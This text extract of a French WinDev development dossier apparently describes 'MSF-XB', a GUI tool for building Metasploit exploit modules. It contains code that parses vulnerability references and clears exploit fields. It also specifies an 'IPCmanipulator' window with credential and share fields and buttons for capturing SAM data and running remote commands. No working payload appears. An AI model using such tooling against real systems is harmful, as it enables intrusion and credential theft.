StrTemp=ExtraitChaîne(HTTPDonneRésultat(),2,"Published:</span>")StrTemp=ExtraitChaîne(StrTemp,2,"<td>")StrTemp=ExtraitChaîne(StrTemp,1,"</td>")StrTemp=Replace(StrTemp,TAB,"")SI Taille(strtemp)>2 ALORS DATE_DIVULGATION=strtemp

ENDIF ChaîneOccurrence(URL,"http://www.idefense.com")>0 ALORS

StrTemp=ExtraitChaîne(HTTPDonneRésultat(),2,"iDEFENSE Security Advisory ")StrTemp=ExtraitChaîne(StrTemp,1,":<br/>")SI Taille(StrTemp)>2 ALORS DATE_DIVULGATION=StrTemp

END

Procédure locale TEST_REFERENCE// Syntaxe ://TEST_REFERENCE ()//// Paramètres :// Aucun// Valeur de retour :// Aucune

// LigneLue : <indiquez ici le rôle de LigneLue>PROCEDURE TEST_REFERENCE()strREFERENCE is string=""SI Gauche(LigneLue,5)="['URL" OU Gauche(lignelue,8)="[ 'URL'," ALORS

LigneLue = Remplace(LigneLue,"['URL', ","")LigneLue = Remplace(LigneLue,

Page 885: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 891

"[ 'URL',","")LigneLue = NoSpace(Remplace(LigneLue,"'",""))

strREFERENCE=TEST_strREFERENCE(LigneLue)

SI ChaîneOccurrence(LigneLue,"ftp://") ALORSTableAjoute(TABLE_REFERENCE,strREFERENCE + TAB + Remplace(LigneLue,"]","") )

SINONTableAjoute(TABLE_REFERENCE,strREFERENCE + TAB + "http://" + NoSpace( Remplace(Remplace( ExtraitChaîne(lignelue,2,"http://") , "]", ""),",","")) )

FINSINON

SI ChaîneOccurrence(LigneLue,"OSVDB")>0 ALORS//LigneLue=extraitchaine(lignelue,4,"'")SI Taille(ExtraitChaîne(lignelue,4,"'"))<1 ALORS

TableAjoute(TABLE_REFERENCE,LigneLue +TAB+ "http://www.osvdb.org/displayvuln.php?osvdb_id=" + NoSpace( Remplace(ExtraitChaîne(lignelue,4,"'"),"'","") ))

SINONTableAjoute(TABLE_REFERENCE,LigneLue +TAB+ "http://www.osvdb.org/displayvuln.php?osvdb_id=" + NoSpace( Remplace( Remplace(ExtraitChaîne(lignelue,2,","),"]",""),"'","") ))

FIN

SINONSI ChaîneOccurrence(LigneLue,"CVE")>0 ALORS

TableAjoute(TABLE_REFERENCE,LigneLue +TAB+ "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-"+ ExtraitChaîne(lignelue,4,"'"))SINON

SI ChaîneOccurrence(LigneLue,"BID")>0 ALORSTableAjoute(TABLE_REFERENCE,LigneLue +TAB+ "http://www.securityfocus.com/bid/"+ NoSpace( Remplace( Remplace( ExtraitChaîne(lignelue,2,","),"]","") ,"'","")))

SINONSI ChaîneOccurrence(LigneLue,"MIL")>0 ALORS

TableAjoute(TABLE_REFERENCE,LigneLue +TAB+ "http://www.milw0rm.com/exploits/"+ NoSpace( Remplace( Remplace( ExtraitChaîne(LigneLue,2,","),"]","") ,"'","")))

SINONSI ChaîneOccurrence(LigneLue,"MSB")>0 ALORS

TableAjoute(TABLE_REFERENCE,LigneLue +TAB+ "http://www.microsoft.com/france/technet/securite/info/info.asp?mar=/france/technet/securite/info/"+ NoSpace( Remplace( Remplace( ExtraitChaîne(lignelue,2,","),"]","") ,"'","")) +".HTML")

SINON

SI ChaîneOccurrence(LigneLue,"http://")>0 ALORS

SI ChaîneOccurrence(LigneLue,"bugtraq")>0 ALORSstrREFERENCE = "BUGTRAQ"

Page 886: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 892

FINSI ChaîneOccurrence(LigneLue,"idefense")>0 ALORS

strREFERENCE = "iDEFENSE"FINSI ChaîneOccurrence(LigneLue,"securityfocus")>0 ALORS

strREFERENCE = "SecurityFocus"FIN

TableAjoute(TABLE_REFERENCE,strREFERENCE +TAB+ "http://" + NoSpace( Remplace( Remplace( Remplace( ExtraitChaîne(lignelue,2,"http://"),"]","") ,"'","" ),",","")))

SINONSI NoSpace(LigneLue)<>"" ALORS TableAjoute(TABLE_REFERENCE,NoSpace(Remplace(LigneLue,",","")))

FINFIN

FINFIN

FINFIN

FIN

Procédure locale TEST_strREFERENCE// Syntaxe ://[ <Résultat> = ] TEST_strREFERENCE (<maLigneLue>)//// Paramètres :// maLigneLue : <indiquez ici le rôle de LigneLue>// Valeur de retour :// chaîne : // Aucune

PROCEDURE TEST_strREFERENCE(maLigneLue)strREFERENCE is string=""

SI ChaîneOccurrence(Upper(maLigneLue),"FULL-DISCLOSURE")>0 ALORSstrREFERENCE = "FULL-DISCLOSURE"

FINSI ChaîneOccurrence(Upper(maLigneLue),"XFORCE")>0 ALORS

strREFERENCE = "XFORCE"FINSI ChaîneOccurrence(Upper(maLigneLue),"METASPLOIT")>0 ALORS

strREFERENCE = "METASPLOIT"FINSI ChaîneOccurrence(Upper(maLigneLue),"BUGTRAQ")>0 ALORS

Page 887: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 893

strREFERENCE = "BUGTRAQ"FINSI ChaîneOccurrence(Upper(maLigneLue),"EEYE")>0 ALORS

strREFERENCE = "eEye"FINSI ChaîneOccurrence(Upper(maLigneLue),"IDEFENSE")>0 ALORS

strREFERENCE = "iDEFENSE"FINSI ChaîneOccurrence(Upper(maLigneLue),"SECURITYFOCUS")>0 ALORS

strREFERENCE = "SecurityFocus"FINSI ChaîneOccurrence(Upper(maLigneLue),"SECUNIA")>0 ALORS

strREFERENCE = "SECUNIA"FINSI ChaîneOccurrence(Upper(maLigneLue),"SECURINFOS")>0 ALORS

strREFERENCE = "SecurInfos"FINRENVOYER strREFERENCE

Procédure locale VIDER_CHAMPS// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://VIDER_CHAMPS ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE VIDER_CHAMPS()NOM=""VERSION=""AUTEURS=""ARCHITECTURE=""OS=""

PAYLOAD_SPACE=""PAYLOAD_KEY=""PAYLOAD_NOPS=""PAYLOAD_MAXNOPS=""

Page 888: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 894

PAYLOAD_BADCHARS=""PAYLOAD_PREPENCODER=""

DESCRIPTION=""

ListeSupprimeTout(COMBO_TARGET)

ADRESSE_RETOUR=""DLL=""MON_OPCODE=""

ListeSupprimeTout(COMBO_ADRESSE_RETOUR_RECHERCHE)

TableSupprimeTout(TABLE_REFERENCE)

DATE_DIVULGATION=""

KEY=""

EXPLOIT_CODE=""SCRTF.SaisieTexte=""

Procédure locale ModifierMiseEnForme ( SCRTF )PROCEDURE ModifierMiseEnForme()// Procédure qui permet de modifier la mise en forme du texte (taille, police, couleur, ...)

nCouleur est un entier

// Si le curseur a été déplacé : mettre à jour les infos de mise en formeSI gnCurseurPrécédent <> saisietexte..Curseur ALORS

// Positionner la combo des polices en fonction de la sélectionListeSelectPlus(Police, ListeCherche(police, RTFSélection(saisietexte, rtfNomPolice)))

// Positionner la combo de la taille des polices en fonction de la sélectionTaillePolice = RTFSélection(saisietexte, rtfTaillePolice)

// Graisse, Italique, SoulignéStyleGras..Enfoncé = RTFSélection(saisietexte,rtfGras)StyleItalique..Enfoncé = RTFSélection(saisietexte,rtfItalique)StyleSouligné..Enfoncé = RTFSélection(saisietexte,rtfSouligné)StyleBarré..Enfoncé = RTFSélection(saisietexte,rtfBarré)

// Alignement

Page 889: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 895

BtnGauche..Enfoncé=Faux;Btndroite..Enfoncé=Faux;BtnCentrer..Enfoncé=Faux;BtnJustifier..Enfoncé=FauxSELON RTFSélection(saisietexte,rtfAlignement)

CAS chGaucheBtnGauche..Enfoncé=Vrai

CAS chDroiteBtndroite..Enfoncé=Vrai

CAS chCentreBtnCentrer..Enfoncé=Vrai

CAS chJustifiéBtnJustifier..Enfoncé=Vrai

FIN

// Positionner la combo des couleurs en fonction de la sélectionSELON RTFSélection(saisietexte, rtfCouleur)

CAS iNoir : nCouleur = 1CAS iBlanc : nCouleur = 2CAS iCyanClair : nCouleur = 3CAS iMagentaClair : nCouleur = 4CAS iRougeFoncé : nCouleur = 5CAS iRougeClair : nCouleur = 6CAS iBleuFoncé : nCouleur = 7CAS iBleuClair : nCouleur = 8CAS iVertFoncé : nCouleur = 9CAS iVertClair : nCouleur = 10AUTRE CAS : nCouleur = 1

FIN

ListeSelectPlus(Couleur, ListeCherche(couleur, nCouleur))

// Mémoriser de nouveau la position précédentegnCurseurPrécédent = saisietexte..Curseur

FIN

Page 890: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 896

WinDevDialogBox Image

WinDevDialogBox Informations générales

WinDevDialogBox

Fichier physique G:\Mes Projets\MSF-XB11\WinDevDialogBox_1.WDW

Crée par JA-PSI

Date de création 13/08/2008 17:55:55

TitreFR: Titre de la fenêtreGB: Window Title

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à l'écran

Note pour le dossier

Page 891: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 897

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 261

Hauteur 121

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droitCurseur survol 0Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant NonGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. NonAnim. Ouverture 0Anim. Fermeture 0

Page 892: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 898

Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIconeImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Statistiques de la fenêtreLibellé 3 Bouton 6

Image 5 Superchamp 1

Option de menu 1

Nombre d'éléments dans la fenêtre : 16

WinDevDialogBox Informations sur les champs

Page 893: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 899

Fenêtre : WinDevDialogBoxLibellé

Position Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

LIB_INFO 64 31 170 46 0 affichag Gauche Centre

LIB_TITRE 6 -55 100 20 0 Actif Gauche Haut

RADTitle 9 4 112 18 0 Actif Gauche Centre

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_1 90 83 80 24 0 Actif Normal

BTN_ESC -33 -14 24 24 0 Actif Abandon

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 570 -19 14 14 0 Actif

ICON_ERREUR 14 31 48 48 0 Actif

ICON_INFORMATION 14 31 48 48 0 Actif

ICON_PERSO 14 31 46 46 0 Actif

ICON_Question 14 31 48 48 0 Actif

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCSystemButtons 127 1 128 18 0 Actif

Page 894: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 900

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 211 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 161 0 26 19 0 Actif Normal

BTN_Syst_Maximize 187 0 25 19 0 Actif Normal

BTN_UMC 127 0 24 19 0 Actif Normal

Fenêtre : WinDevDialogBoxBouton : BTN_1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: BoutonOrdre navigation 2Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Bas

Page 895: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 901

Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_ESC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation -1Curseur survol 0On/Off Non

Altitude 9

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\ferme_Fen.gifNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 896: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 902

Image : BTN_Syst_Restore

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Image : ICON_ERREUR

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\WDMSGBOX-erreur.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. Haut

Page 897: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 903

Altitude 7

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Image : ICON_INFORMATION

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\WDMSGBOX-info.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 6

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 898: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 904

Image : ICON_PERSO

Note pour le dossier

FR,GB: FR,GB:

Curseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 10

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Image : ICON_Question

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\WDMSGBOX-question.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 5

Page 899: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 905

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : LIB_INFO

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: <Libellé de Info/Erreur>Curseur survol 0Synchro Infos Partagées Non

Altitude 8

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 900: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 906

Libellé : LIB_TITRE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: <Titre de la fenêtre>Curseur survol 0Synchro Infos Partagées Non

Altitude 11

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Titre de la fenêtreGB: Window Title

Curseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la fin

Page 901: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 907

Unicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 3

Altitude 2Largeur externe 128Hauteur externe 18

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 902: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 908

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: FermerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 903: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 909

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 904: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 910

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 905: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 911

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 906: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 912

WinDevDialogBox Messages multilangues

N° Message

2000 FR: AnnulerGB:

2001 FR: &AbandonnerGB:

2002 FR: &RéessayerGB:

2003 FR: &IgnorerGB:

2004 FR: &OuiGB:

2005 FR: &NonGB:

2006 FR: &AnnulerGB:

N° mess.: numéro de message.

Page 907: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 913

WinDevDialogBox Code des champs

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

Page 908: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 914

IPCmanipulator Image

Page 909: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 915

IPCmanipulator Informations générales

IPCmanipulator

Fichier physique G:\Mes Projets\MSF-XB11\IPCmanipulator.wdw

Date de création 16/10/2005 21:38:52

Dernière modification par JA-PSI

Date dernière modification 26/10/2008 20:26:08

Titre FR,GB: IPC manipulator

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à l'écran

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 808

Hauteur 606

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droitCurseur survol 0Menu contextuel

Page 910: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 916

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant NonGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 0Anim. Fermeture 0Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIcone G:\Mes Projets\MSF-XB11\Bow & Arrow.icoImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Page 911: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 917

Statistiques de la fenêtreChamp de saisie 8 Libellé 1

Bouton 13 Interrupteur 3

Sélecteur 2 Image 1

Combo 1 Superchamp 5

Option de menu 1

Nombre d'éléments dans la fenêtre : 35

IPCmanipulator Informations sur les champs

Fenêtre : IPCmanipulatorChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

IP 14 63 235 22 0 Actif Texte

LOGIN 14 93 235 22 0 Actif Texte

PASS 14 155 235 22 0 Actif Texte

SHARE 14 259 235 22 0 Actif Texte

Page 912: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 918

LibelléPosition Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

RADTitle 9 4 659 18 0 Actif Gauche Centre

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

Bouton1 510 124 80 24 0 Actif Normal

BoutonSurvol1 471 300 33 24 0 Actif Normal

CAPTURESAM 645 300 80 24 0 Actif Normal

EXECUTER_COMMANDE 510 300 80 24 0 Actif Normal

TRANSFERT 566 408 80 24 0 Actif Normal

InterrupteurPosition Position Largeur Hauteur Plan Visib Etat initial Touc Nb. colonnes Col. Trois

OPTIONS_DOWNLOAD 652 456 114 57 0 Actif 1

OPTIONS_UPLOAD 652 396 114 57 0 Actif 1

